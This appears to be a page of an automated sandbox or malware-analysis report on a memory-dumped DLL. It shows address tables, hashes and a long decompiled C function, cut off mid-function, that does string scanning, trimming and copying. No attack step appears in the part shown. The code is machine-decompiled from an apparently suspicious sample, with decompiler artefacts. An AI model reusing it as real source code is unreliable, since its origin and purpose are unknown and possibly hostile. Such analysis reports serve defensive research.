0x6e65c6a3
0x6e65c6a8
0x6e65c6b6
0x6e65c6b6
0x6e65c639
0x00000000
0x6e65c62f
0x6e65c54a
0x6e65c54c
0x6e65c553
0x6e65c558
0x6e65c55b
0x6e65c56e
0x6e65c577
0x6e65c583
0x6e65c58f
0x6e65c59b
0x6e65c5a7
0x6e65c5b3
0x6e65c5bf
0x6e65c5cb
0x6e65c5d7
0x6e65c5de
0x6e65c5e1
0x6e65c5e1
0x6e65c5f0
0x6e65c243
0x6e65c24a
0x6e65c256
0x6e65c262
0x6e65c26e
0x6e65c27a
0x6e65c286
0x6e65c292
0x6e65c29e
0x6e65c2a3
0x6e65c2b1
0x6e65c2b1
0x6e65c241
0x6e65bea4
0x6e65b83c
0x00000000
0x00000000
0x00000000
0x6e65b317
0x6e65b004
0x6e65b00b
0x6e65b017
0x6e65b023
0x6e65b036
0x6e65b036
0x00000000

Strings

ZFhj, xrefs: 6E65B588

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: ZFhj
API String ID: 0-4053837889
Opcode ID: 6b5d7c56e79f907b36c3951048b0ee636dbec5d64710dfd13bb065fcaa5c5811
Instruction ID: 3e1d8e112467c2afca0246a8c9d1ab784a29aef52f13820998009308ad077250
Opcode Fuzzy Hash: 6b5d7c56e79f907b36c3951048b0ee636dbec5d64710dfd13bb065fcaa5c5811
Instruction Fuzzy Hash: 66E23B315283809AD734DFB4D891AEFB3F8AFD5318F114E2DD489462A1EF306949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6E673EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E6E673EC0(signed int __ecx) {
				char _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _t368;
				unsigned int _t371;
				void* _t376;
				signed int* _t377;
				char* _t378;
				char _t381;
				signed int _t382;
				signed int _t388;
				signed int _t392;
				signed int _t393;
				signed int _t396;
				char* _t397;
				char _t400;
				char _t403;
				signed int _t404;
				signed int _t407;
				signed int _t410;
				signed int _t412;
				void* _t413;
				char* _t416;
				signed int _t418;
				unsigned int _t424;
				signed int _t425;
				char* _t431;
				signed int _t436;
				unsigned int _t442;
				char* _t445;
				void* _t447;
				char _t449;
				signed int _t450;
				signed int _t451;
				char* _t463;
				char _t477;
				char _t479;
				char _t481;
				char _t482;
				signed int _t483;
				signed int _t484;
				char _t491;
				signed int _t492;
				void* _t503;
				signed int _t508;
				unsigned int _t509;
				signed int _t511;
				signed int _t512;
				signed int _t520;
				char* _t521;
				char* _t522;
				char* _t523;
				signed int _t524;
				signed int _t527;
				char* _t535;
				signed int _t537;
				unsigned int _t543;
				signed int _t545;
				signed int _t546;
				char _t548;
				char _t549;
				char _t550;
				signed int _t551;
				signed int _t552;
				unsigned int _t556;
				void* _t565;
				signed int _t566;
				char* _t568;
				char _t569;
				char _t570;
				signed int _t571;
				signed int _t573;
				signed int _t574;
				unsigned int _t575;
				char* _t576;
				char _t577;
				char _t578;
				char* _t583;
				char _t584;
				char _t585;
				signed int _t586;
				unsigned int _t592;
				void* _t595;
				signed int _t597;
				signed int _t600;
				char _t602;
				void* _t603;
				unsigned int _t604;
				signed int _t605;
				unsigned int _t610;
				signed int _t612;
				signed int _t614;
				char* _t615;
				char _t616;
				char _t617;
				char _t620;
				signed int _t621;
				void* _t624;
				signed int _t626;
				char _t629;
				signed int _t630;
				signed int _t636;
				signed int _t641;
				char* _t642;
				char _t644;
				signed int _t646;
				char _t649;
				signed int _t650;
				signed int _t652;
				signed int _t654;
				signed int _t655;
				signed int _t658;
				char* _t659;
				void* _t660;
				void* _t665;
				intOrPtr _t667;
				signed int _t672;
				signed int _t673;
				unsigned int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				unsigned int* _t683;
				signed int _t685;
				signed int _t686;
				void* _t688;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				char* _t695;
				void* _t696;
				unsigned int _t697;
				signed int _t700;
				unsigned int _t702;
				signed int _t704;
				intOrPtr* _t705;
				signed int _t707;
				signed int _t714;
				void* _t720;
				signed int _t721;
				void* _t723;
				void* _t727;

				_t723 = (_t721 & 0xfffffff0) - 0x44;
				_t505 = __ecx;
				_t727 =  *__ecx;
				if(_t727 == 0) {
					return __ecx;
				} else {
					if(_t727 <= 0) {
						_v48 = 0;
						_t604 = 0;
						if( &_v52 == __ecx) {
							goto L288;
						} else {
							goto L287;
						}
					} else {
						_v64 = 0;
						asm("pxor xmm0, xmm0");
						_v40 = __ecx;
						do {
							_t410 = _v64 + 1;
							_t620 =  *0x6e68a24c; // 0xa0d0920
							_t550 =  *0x6e68a250; // 0x0
							_v64 = _t410;
							_v36 = _t620;
							_v32 = _t550;
							_t621 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t410 * 4 - 4));
							if(_t621 == 0) {
								_t680 = 0;
								_t412 = 0;
							} else {
								_t505 = _t621 & 0x0000000f;
								if(_t505 == 0) {
									L8:
									asm("pxor xmm1, xmm1");
									_t503 =  ~( ~_t505 + 0x0000000f & 0x0000000f) + 0x7fffffff;
									while(1) {
										asm("movdqu xmm0, [edx+ebx]");
										asm("pcmpeqb xmm0, xmm1");
										asm("pmovmskb ecx, xmm0");
										if(_t550 != 0) {
											break;
										}
										_t505 = _t505 + 0x10;
										if(_t505 < _t503) {
											continue;
										} else {
											if(_t503 >= 0x7fffffff) {
												L14:
												_t412 = 0x7fffffff;
												goto L15;
											} else {
												while( *((char*)(_t503 + _t621)) != 0) {
													_t503 = _t503 + 1;
													if(_t503 < 0x7fffffff) {
														continue;
													} else {
														goto L14;
													}
													goto L20;
												}
												goto L295;
											}
										}
										goto L20;
									}
									asm("bsf eax, ecx");
									_t412 = _t503 + _t505;
									goto L295;
								} else {
									_t412 = 0;
									_t505 =  ~_t505 + 0x10;
									while( *((char*)(_t412 + _t621)) != 0) {
										_t412 = _t412 + 1;
										if(_t412 < _t505) {
											continue;
										} else {
											goto L8;
										}
										goto L20;
									}
									L295:
									if(_t412 > 0) {
										L15:
										_t505 = _v36;
										_t680 = 0;
										while(_t505 != 0) {
											while(1) {
												_t720 = _t720 + 1;
												if(_t603 ==  *((intOrPtr*)(_t723 + _t720 + 0x2f))) {
													break;
												}
												if( *((char*)(_t723 + _t720 + 0x30)) != 0) {
													continue;
												}
												goto L20;
											}
											_t680 = _t680 + 1;
											if(_t680 < _t412) {
												continue;
											} else {
												goto L20;
											}
											goto L301;
										}
									} else {
										_t680 = 0;
									}
								}
							}
							L20:
							_t413 = _t412 - 1;
							_t700 = _t412 - _t680;
							if(_t413 >= _t680) {
								_v60 = 0;
								_t505 = _t413 - _t680 + 1;
								_v56 = _t680;
								_t602 = _v36;
								_t689 = _v60;
								_v48 = _t621;
								_v52 = _t505;
								while(_t602 != 0) {
									_t667 =  *((intOrPtr*)(_t413 + _v48));
									while(1) {
										_t505 = 1;
										if(_t667 ==  *((intOrPtr*)(_t723 + 0x30))) {
											break;
										}
										if( *((char*)(_t723 + 0x31)) != 0) {
											continue;
										}
										goto L26;
									}
									_t689 = _t689 + 1;
									_t413 = _t413 - 1;
									_t700 = _t700 - 1;
									if(_t689 < _v52) {
										continue;
									} else {
										break;
									}
									goto L301;
								}
								L26:
								_t621 = _v48;
								_t680 = _v56;
							}
							if(_t700 == 0) {
								L66:
								_push(0x40);
								_t505 = E6E661030();
								_t723 = _t723 + 4;
								 *_t505 = 0;
							} else {
								if(_t621 == 0) {
									_t483 = 0;
								} else {
									_t600 = _t621 & 0x0000000f;
									if(_t600 == 0) {
										L33:
										asm("pxor xmm1, xmm1");
										_t483 =  ~( ~_t600 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [edx+ecx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ebx, xmm0");
											if(_t505 != 0) {
												break;
											}
											_t600 = _t600 + 0x10;
											if(_t600 < _t483) {
												continue;
											} else {
												if(_t483 >= 0x7fffffff) {
													L39:
													_t483 = 0x7fffffff;
												} else {
													while( *((char*)(_t483 + _t621)) != 0) {
														_t483 = _t483 + 1;
														if(_t483 < 0x7fffffff) {
															continue;
														} else {
															goto L39;
														}
														goto L40;
													}
												}
											}
											goto L40;
										}
										asm("bsf eax, ebx");
										_t483 = _t483 + _t600;
									} else {
										_t483 = 0;
										_t600 =  ~_t600 + 0x10;
										while( *((char*)(_t483 + _t621)) != 0) {
											_t483 = _t483 + 1;
											if(_t483 < _t600) {
												continue;
											} else {
												goto L33;
											}
											goto L40;
										}
									}
								}
								L40:
								_t687 =  <=  ? 0 : _t680;
								_t688 =  <  ? _t483 :  <=  ? 0 : _t680;
								_t484 = _t483 - _t688;
								if(_t700 < 0 || _t700 > _t484) {
									_t700 = _t484;
								}
								if(_t688 + _t621 == 0 ||  *(_t621 + _t688) == 0) {
									goto L66;
								} else {
									if(_t700 == 0) {
										_t492 = _t621 + _t688;
										_t597 = _t492 & 0x0000000f;
										if(_t597 == 0) {
											L50:
											asm("pxor xmm1, xmm1");
											_t700 =  ~( ~_t597 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm0, [eax+ecx]");
												asm("pcmpeqb xmm0, xmm1");
												asm("pmovmskb ebx, xmm0");
												if(_t505 != 0) {
													break;
												}
												_t597 = _t597 + 0x10;
												if(_t597 < _t700) {
													continue;
												} else {
													if(_t700 >= 0x7fffffff) {
														L56:
														_t700 = 0x7fffffff;
													} else {
														while( *((char*)(_t700 + _t492)) != 0) {
															_t700 = _t700 + 1;
															if(_t700 < 0x7fffffff) {
																continue;
															} else {
																goto L56;
															}
															goto L57;
														}
													}
												}
												goto L57;
											}
											asm("bsf esi, ebx");
											_t700 = _t700 + _t597;
										} else {
											_t700 = 0;
											_t597 =  ~_t597 + 0x10;
											while( *((char*)(_t700 + _t492)) != 0) {
												_t700 = _t700 + 1;
												if(_t700 < _t597) {
													continue;
												} else {
													goto L50;
												}
												goto L57;
											}
										}
									}
									L57:
									_t40 = _t700 + 1; // -2147483661
									_t511 =  <=  ? 0x40 : _t40;
									if(_t511 > 0) {
										_t592 = (_t511 >> 5 >> 0x1a) + _t511 >> 6;
										_t512 = _t511 & 0x8000003f;
										if(_t512 < 0) {
											_t512 = (_t512 - 0x00000001 | 0xffffffc0) + 1;
										}
										_push(_t592 + (0 | _t512 > 0x00000000) << 6);
										_v48 = _t621;
										_t505 = E6E661030();
										_t723 = _t723 + 4;
										_t665 = _v48 + _t688;
										_t595 = 0;
										 *_t505 = 0;
										while(1) {
											_t595 = _t595 + 1;
											_t491 =  *((char*)(_t595 + _t665 - 1));
											 *((char*)(_t595 + _t505 - 1)) = _t491;
											if(_t700 != 0 && _t595 == _t700) {
												break;
											}
											if(_t491 != 0) {
												continue;
											} else {
											}
											goto L67;
										}
										 *((char*)(_t595 + _t505)) = 0;
									} else {
										_t505 = 0;
									}
								}
							}
							L67:
							_t551 = _v64;
							_t681 =  *((intOrPtr*)( *((intOrPtr*)(_v40 + 4)) + _t551 * 4 - 4));
							_t416 =  *_t681;
							if(_t416 != _t505) {
								if(_t505 == 0 ||  *_t505 == 0) {
									if(_t416 != 0) {
										 *_t416 = 0;
									}
									if( *(_t681 + 4) < 0x40) {
										_push(0x40);
										_v72 = E6E661030();
										_t723 = _t723 + 4;
										_t463 =  *_t681;
										if(_t463 == 0) {
											 *_v72 = 0;
										} else {
											if(_v72 != 0) {
												_t583 = _v72;
												_t649 =  *_t463;
												 *_t583 = _t649;
												if(_t649 != 0) {
													_v84 = _t505;
													_t650 = 0;
													_t523 = _t583;
													while(1) {
														_t650 = _t650 + 1;
														_t584 =  *((char*)(_t463 + _t650 * 2 - 1));
														 *((char*)(_t523 + _t650 * 2 - 1)) = _t584;
														if(_t584 == 0) {
															break;
														}
														_t585 =  *((char*)(_t463 + _t650 * 2));
														 *((char*)(_t523 + _t650 * 2)) = _t585;
														if(_t585 != 0) {
															continue;
														}
														break;
													}
													_t505 = _v84;
												}
												_t463 =  *_t681;
											}
											_push(1);
											_push(_t463);
											E6E6610B0();
											_t723 = _t723 + 8;
										}
										 *_t681 = _v72;
										 *(_t681 + 4) = 0x40;
									}
								} else {
									_t652 = _t505 & 0x0000000f;
									if(_t652 == 0) {
										L74:
										asm("pxor xmm1, xmm1");
										_t714 =  ~( ~_t652 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+edx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ecx, xmm0");
											if(_t551 != 0) {
												break;
											}
											_t652 = _t652 + 0x10;
											if(_t652 < _t714) {
												continue;
											} else {
												if(_t714 >= 0x7fffffff) {
													L80:
													_t714 = 0x7fffffff;
												} else {
													while( *((char*)(_t714 + _t505)) != 0) {
														_t714 = _t714 + 1;
														if(_t714 < 0x7fffffff) {
															continue;
														} else {
															goto L80;
														}
														goto L81;
													}
													goto L270;
												}
											}
											goto L81;
										}
										asm("bsf esi, ecx");
										_t714 = _t714 + _t652;
										goto L270;
									} else {
										_t714 = 0;
										_t652 =  ~_t652 + 0x10;
										while( *((char*)(_t714 + _t505)) != 0) {
											_t714 = _t714 + 1;
											if(_t714 < _t652) {
												continue;
											} else {
												goto L74;
											}
											goto L81;
										}
										L270:
										if(_t714 == 0xffffffff && _t416 != 0) {
											 *_t416 = 0;
										}
									}
									L81:
									_t57 = _t714 + 1; // -2147483661
									_t654 =  <=  ? 0x40 : _t57;
									if(_t654 >  *(_t681 + 4)) {
										_v68 = (_t654 >> 5 >> 0x1a) + _t654 >> 6;
										_t655 = _t654 & 0x8000003f;
										if(_t655 < 0) {
											_t655 = (_t655 - 0x00000001 | 0xffffffc0) + 1;
										}
										_t658 = _v68 + (0 | _t655 > 0x00000000) << 6;
										_v68 = _t658;
										_push(_t658);
										_t586 = E6E661030();
										_t723 = _t723 + 4;
										_t659 =  *_t681;
										if(_t659 == 0) {
											 *_t586 = 0;
										} else {
											if(_t586 != 0) {
												_t479 =  *_t659;
												 *_t586 = _t479;
												if(_t479 != 0) {
													_v80 = _t681;
													_v84 = _t505;
													_t524 = 0;
													while(1) {
														_t524 = _t524 + 1;
														_t481 =  *((char*)(_t659 + _t524 * 2 - 1));
														 *((char*)(_t586 + _t524 * 2 - 1)) = _t481;
														if(_t481 == 0) {
															break;
														}
														_t482 =  *((char*)(_t659 + _t524 * 2));
														 *((char*)(_t586 + _t524 * 2)) = _t482;
														if(_t482 != 0) {
															continue;
														}
														break;
													}
													_t681 = _v80;
													_t505 = _v84;
												}
												_t659 =  *_t681;
											}
											_push(1);
											_push(_t659);
											_v76 = _t586;
											E6E6610B0();
											_t586 = _v76;
											_t723 = _t723 + 8;
										}
										 *(_t681 + 4) = _v68;
										 *_t681 = _t586;
									} else {
										_t586 =  *_t681;
									}
									if(_t586 != 0 && _t505 != 0) {
										_t660 = 0;
										while(1) {
											_t660 = _t660 + 1;
											_t477 =  *((char*)(_t660 + _t505 - 1));
											 *((char*)(_t660 + _t586 - 1)) = _t477;
											if(_t714 != 0 && _t660 == _t714) {
												break;
											}
											if(_t477 != 0) {
												continue;
											} else {
											}
											goto L117;
										}
										 *((char*)(_t660 + _t586)) = 0;
									}
								}
							}
							L117:
							_push(1);
							_push(_t505);
							E6E6610B0();
							_t723 = _t723 + 8;
							_t418 = _v40;
							_t552 =  *_t418;
						} while (_t552 > _v64);
						_t505 = _t418;
						_t604 = 0;
						_v48 = 0;
						asm("pxor xmm0, xmm0");
						if(_t552 <= 0) {
							if( &_v52 == _t505) {
								L288:
								_v52 = _t604;
								_v44 = _t604;
							} else {
								L287:
								_v44 = _t604;
								_v52 = _t604;
								 *_t505 = _t604;
								 *(_t505 + 8) = _t604;
								goto L196;
							}
						} else {
							_t371 = 0;
							_v44 = 0;
							_t682 = 0;
							_v60 = _t552;
							_v40 = _t505;
							do {
								_t682 = _t682 + 1;
								_t520 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t682 * 4 - 4));
								if(_t520 != 0) {
									_t704 = _t520 & 0x0000000f;
									if(_t704 == 0) {
										L125:
										asm("pxor xmm1, xmm1");
										_v56 = _t682;
										_t565 =  ~( ~_t704 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+esi]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb edi, xmm0");
											if(_t682 != 0) {
												break;
											}
											_t704 = _t704 + 0x10;
											if(_t704 < _t565) {
												continue;
											} else {
												_t682 = _v56;
												if(_t565 >= 0x7fffffff) {
													goto L131;
												} else {
													while( *((char*)(_t565 + _t520)) != 0) {
														_t565 = _t565 + 1;
														if(_t565 < 0x7fffffff) {
															continue;
														} else {
															goto L131;
														}
														goto L182;
													}
													goto L284;
												}
											}
											goto L182;
										}
										_t566 = _t682;
										asm("bsf ecx, ecx");
										_t682 = _v56;
										_t565 = _t566 + _t704;
										goto L284;
									} else {
										_t565 = 0;
										_t704 =  ~_t704 + 0x10;
										while( *((char*)(_t565 + _t520)) != 0) {
											_t565 = _t565 + 1;
											if(_t565 < _t704) {
												continue;
											} else {
												goto L125;
											}
											goto L182;
										}
										L284:
										if(_t565 != 0) {
											L131:
											_v52 = _t604;
											_t624 =  >  ? _t371 : 0;
											_t625 =  >=  ? _t371 : _t624;
											_v64 =  >=  ? _t371 : _t624;
											_t626 = _v44;
											if(_t371 == _t626) {
												_v44 = _t626 + 4;
												_push(0x10 + _t626 * 4);
												_t707 = E6E661030();
												E6E660C10(_t707, _v48, _v52 << 2);
												_push(4);
												_push(_v48);
												E6E6610B0();
												_t723 = _t723 + 0x18;
												_v48 = _t707;
												_t371 = _v52;
											}
											_t419 = _t371 != _v64;
											if(_t371 != _v64) {
												E6E660BC0(_v48 + _v64 * 4 + 4, _v48 + _v64 * 4, _t419 << 2);
												_t723 = _t723 + 0xc;
											}
											_push(8);
											_t705 = E6E661030();
											_t723 = _t723 + 4;
											if(_t705 == 0) {
												_t705 = 0;
											} else {
												 *_t705 = 0;
												 *(_t705 + 4) = 0;
												if(_t520 == 0 ||  *_t520 == 0) {
													_push(0x40);
													_v80 = E6E661030();
													_t723 = _t723 + 4;
													_t431 =  *_t705;
													if(_t431 == 0) {
														 *_v80 = 0;
													} else {
														if(_v80 != 0) {
															_t568 = _v80;
															_t629 =  *_t431;
															 *_t568 = _t629;
															if(_t629 != 0) {
																_v56 = _t682;
																_t630 = 0;
																_t521 = _t568;
																while(1) {
																	_t630 = _t630 + 1;
																	_t569 =  *((char*)(_t431 + _t630 * 2 - 1));
																	 *((char*)(_t521 + _t630 * 2 - 1)) = _t569;
																	if(_t569 == 0) {
																		break;
																	}
																	_t570 =  *((char*)(_t431 + _t630 * 2));
																	 *((char*)(_t521 + _t630 * 2)) = _t570;
																	if(_t570 != 0) {
																		continue;
																	}
																	break;
																}
																_t682 = _v56;
															}
														}
														_push(1);
														_push(_t431);
														E6E6610B0();
														_t723 = _t723 + 8;
													}
													 *_t705 = _v80;
													 *(_t705 + 4) = 0x40;
												} else {
													_t436 = _t520 & 0x0000000f;
													if(_t436 == 0) {
														L142:
														asm("pxor xmm1, xmm1");
														_t636 =  ~( ~_t436 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v72 = _t636;
														_t571 = _t636;
														while(1) {
															asm("movdqu xmm0, [ebx+eax]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb edx, xmm0");
															if(_t636 != 0) {
																break;
															}
															_t436 = _t436 + 0x10;
															if(_t436 < _t571) {
																continue;
															} else {
																_v72 = _t571;
																if(_v72 >= 0x7fffffff) {
																	L149:
																	_v72 = 0x7fffffff;
																} else {
																	_t451 = _t571;
																	while( *((char*)(_t451 + _t520)) != 0) {
																		_t451 = _t451 + 1;
																		if(_t451 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L149;
																		}
																		goto L150;
																	}
																	_v72 = _t451;
																}
															}
															goto L150;
														}
														asm("bsf edx, edx");
														_v72 = _t636 + _t436;
													} else {
														_v72 = 0;
														_t646 = _v72;
														_t436 =  ~_t436 + 0x10;
														while( *((char*)(_t646 + _t520)) != 0) {
															_t646 = _t646 + 1;
															if(_t646 < _t436) {
																continue;
															} else {
																goto L142;
															}
															goto L150;
														}
														_v72 = _t646;
													}
													L150:
													_t143 = _v72 + 1; // 0x80000000
													_t573 =  <=  ? 0x40 : _t143;
													if(_t573 > 0) {
														_t442 = (_t573 >> 5 >> 0x1a) + _t573 >> 6;
														_v76 = _t442;
														_t574 = _t573 & 0x8000003f;
														if(_t574 < 0) {
															_t574 = (_t574 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t641 = _t442 + (0 | _t574 > 0x00000000) << 6;
														_v76 = _t641;
														_push(_t641);
														_t445 = E6E661030();
														_v68 = _t445;
														_t723 = _t723 + 4;
														_t642 =  *_t705;
														if(_t642 == 0) {
															 *_t445 = 0;
														} else {
															if(_v68 != 0) {
																_t576 = _t445;
																_t449 =  *_t642;
																 *_t576 = _t449;
																if(_t449 != 0) {
																	_v84 = _t520;
																	_t450 = 0;
																	_v56 = _t682;
																	_t522 = _t576;
																	while(1) {
																		_t450 = _t450 + 1;
																		_t577 =  *((char*)(_t642 + _t450 * 2 - 1));
																		 *((char*)(_t522 + _t450 * 2 - 1)) = _t577;
																		if(_t577 == 0) {
																			break;
																		}
																		_t578 =  *((char*)(_t642 + _t450 * 2));
																		 *((char*)(_t522 + _t450 * 2)) = _t578;
																		if(_t578 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t520 = _v84;
																	_t682 = _v56;
																}
															}
															_push(1);
															_push(_t642);
															E6E6610B0();
															_t723 = _t723 + 8;
														}
														 *(_t705 + 4) = _v76;
														 *_t705 = _v68;
													} else {
														_v68 = 0;
													}
													if(_v68 != 0) {
														_v56 = _t682;
														_t447 = 0;
														_t575 = _v68;
														_t686 = _v72;
														while(1) {
															_t447 = _t447 + 1;
															_t644 =  *((char*)(_t447 + _t520 - 1));
															 *((char*)(_t447 + _t575 - 1)) = _t644;
															if(_t686 != 0 && _t447 == _t686) {
																break;
															}
															if(_t644 != 0) {
																continue;
															} else {
																_t682 = _v56;
															}
															goto L181;
														}
														_t682 = _v56;
														 *((char*)(_t447 + _v68)) = 0;
													}
												}
											}
											L181:
											 *((intOrPtr*)(_v48 + _v64 * 4)) = _t705;
											_t371 = _v52 + 1;
											_v60 =  *_v40;
											_t604 = _t371;
										} else {
										}
									}
								}
								L182:
							} while (_t682 < _v60);
							_t505 = _v40;
							_t683 =  &_v52;
							_t556 =  *(_t683 - 8);
							if(_t683 == _t505) {
								L253:
								_v52 = 0;
								_v44 = 0;
								_t604 = _v48;
								if(_t371 > 0) {
									_t675 = _t371 >> 1;
									if(_t675 == 0) {
										_t676 = 1;
									} else {
										_v40 = _t505;
										_t509 = _t371;
										_t694 = 0;
										do {
											_t532 =  *((intOrPtr*)(_t604 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + _t694 * 8)) != 0) {
												_push(1);
												E6E6687B0(_t532);
												_t604 = _v52;
											}
											_t533 =  *((intOrPtr*)(_t604 + 4 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + 4 + _t694 * 8)) != 0) {
												_push(1);
												E6E6687B0(_t533);
												_t604 = _v52;
											}
											_t694 = _t694 + 1;
										} while (_t694 < _t675);
										_t534 = _t694;
										_t371 = _t509;
										_t505 = _v40;
										_t333 = _t534 + 1; // 0x2
										_t676 = _t694 + _t333;
									}
									_t334 = _t676 - 1; // 0x1
									if(_t334 < _t371) {
										_t530 =  *((intOrPtr*)(_t604 + _t676 * 4 - 4));
										if( *((intOrPtr*)(_t604 + _t676 * 4 - 4)) != 0) {
											_push(1);
											E6E6687B0(_t530);
											_t604 = _v52;
										}
									}
								}
							} else {
								_v52 = _t604;
								 *_t505 = 0;
								 *(_t505 + 8) = 0;
								if(_t556 <= 0) {
									L196:
									_t605 =  *(_t505 + 4);
								} else {
									_t605 =  *(_t505 + 4);
									_t424 = _t556 >> 1;
									if(_t424 == 0) {
										_t425 = 1;
									} else {
										_v60 = _t556;
										_t685 = 0;
										_t702 = _t424;
										do {
											_t558 =  *((intOrPtr*)(_t605 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + _t685 * 8)) != 0) {
												_push(1);
												E6E6687B0(_t558);
												_t605 =  *(_t505 + 4);
											}
											_t559 =  *((intOrPtr*)(_t605 + 4 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + 4 + _t685 * 8)) != 0) {
												_push(1);
												E6E6687B0(_t559);
												_t605 =  *(_t505 + 4);
											}
											_t685 = _t685 + 1;
										} while (_t685 < _t702);
										_t556 = _v60;
										_t217 = _t685 + 1; // 0x2
										_t425 = _t685 + _t217;
									}
									_t218 = _t425 - 1; // 0x1
									if(_t218 < _t556) {
										_t557 =  *((intOrPtr*)(_t605 + _t425 * 4 - 4));
										if( *((intOrPtr*)(_t605 + _t425 * 4 - 4)) != 0) {
											_push(1);
											E6E6687B0(_t557);
											goto L196;
										}
									}
								}
								_push(4);
								_push(_t605);
								E6E6610B0();
								_t723 = _t723 + 8;
								_t527 = _v52;
								 *(_t505 + 4) = 0;
								if(_t527 != 0) {
									_t672 = (_t527 - 0x00000001 >> 0x00000001 >> 0x0000001e) + _t527 - 0x00000001 & 0xfffffffc;
									_push(0x10 + _t672 * 4);
									 *(_t505 + 8) = _t672 + 4;
									_t368 = E6E661030();
									_t723 = _t723 + 4;
									_t610 = _v52;
									 *(_t505 + 4) = _t368;
									 *_t505 = _t610;
									if(_t610 <= 0) {
										goto L198;
									} else {
										_v40 = _t505;
										_t673 = 0;
										asm("pxor xmm0, xmm0");
										do {
											_push(8);
											_t673 = _t673 + 1;
											_t693 = E6E661030();
											_t723 = _t723 + 4;
											if(_t693 == 0) {
												_t693 = 0;
												_t508 = _t673 * 4;
											} else {
												_t376 = _t673 - 1;
												if(_t376 < 0 || _t376 >= _v52) {
													_t377 = 0;
													_t508 = _t673 * 4;
												} else {
													_t508 = _t673 * 4;
													_t377 =  *(_v48 + _t508 - 4);
												}
												 *_t693 = 0;
												 *(_t693 + 4) = 0;
												_t614 =  *_t377;
												if(_t614 == 0 ||  *_t614 == 0) {
													_push(0x40);
													_t378 = E6E661030();
													_v84 = _t378;
													_t723 = _t723 + 4;
													_t615 =  *_t693;
													if(_t615 == 0) {
														 *_t378 = 0;
													} else {
														if(_v84 != 0) {
															_t535 = _t378;
															_t381 =  *_t615;
															 *_t535 = _t381;
															if(_t381 != 0) {
																_v56 = _t693;
																_t382 = 0;
																_v64 = _t673;
																_t695 = _t535;
																while(1) {
																	_t382 = _t382 + 1;
																	_t548 =  *((char*)(_t615 + _t382 * 2 - 1));
																	 *((char*)(_t695 + _t382 * 2 - 1)) = _t548;
																	if(_t548 == 0) {
																		break;
																	}
																	_t549 =  *((char*)(_t615 + _t382 * 2));
																	 *((char*)(_t695 + _t382 * 2)) = _t549;
																	if(_t549 != 0) {
																		continue;
																	}
																	break;
																}
																_t693 = _v56;
																_t673 = _v64;
															}
														}
														_push(1);
														_push(_t615);
														E6E6610B0();
														_t723 = _t723 + 8;
													}
													 *_t693 = _v84;
													 *(_t693 + 4) = 0x40;
												} else {
													_t537 = _t614 & 0x0000000f;
													if(_t537 == 0) {
														L212:
														asm("pxor xmm1, xmm1");
														_t388 =  ~( ~_t537 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v60 = _t388;
														_v64 = _t673;
														_t677 = _t388;
														while(1) {
															asm("movdqu xmm0, [edx+ecx]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb eax, xmm0");
															if(_t388 != 0) {
																break;
															}
															_t537 = _t537 + 0x10;
															if(_t537 < _t677) {
																continue;
															} else {
																_v60 = _t677;
																_t673 = _v64;
																if(_v60 >= 0x7fffffff) {
																	L219:
																	_v60 = 0x7fffffff;
																} else {
																	_t407 = _v60;
																	while( *((char*)(_t407 + _t614)) != 0) {
																		_t407 = _t407 + 1;
																		if(_t407 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L219;
																		}
																		goto L220;
																	}
																	goto L279;
																}
															}
															goto L220;
														}
														asm("bsf eax, eax");
														_t673 = _v64;
														_v60 = _t388 + _t537;
													} else {
														_v60 = 0;
														_t407 = _v60;
														_t537 =  ~_t537 + 0x10;
														while( *((char*)(_t407 + _t614)) != 0) {
															_t407 = _t407 + 1;
															if(_t407 < _t537) {
																continue;
															} else {
																goto L212;
															}
															goto L220;
														}
														L279:
														_v60 = _t407;
													}
													L220:
													_t392 =  <=  ? 0x40 : _v60 + 1;
													if(_t392 > 0) {
														_t543 = (_t392 >> 5 >> 0x1a) + _t392 >> 6;
														_v72 = _t543;
														_t393 = _t392 & 0x8000003f;
														if(_t393 < 0) {
															_t393 = (_t393 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t545 = _t543 + (0 | _t393 > 0x00000000) << 6;
														_v72 = _t545;
														_push(_t545);
														_v76 = _t614;
														_t396 = E6E661030();
														_t614 = _v76;
														_t546 = _t396;
														_t723 = _t723 + 4;
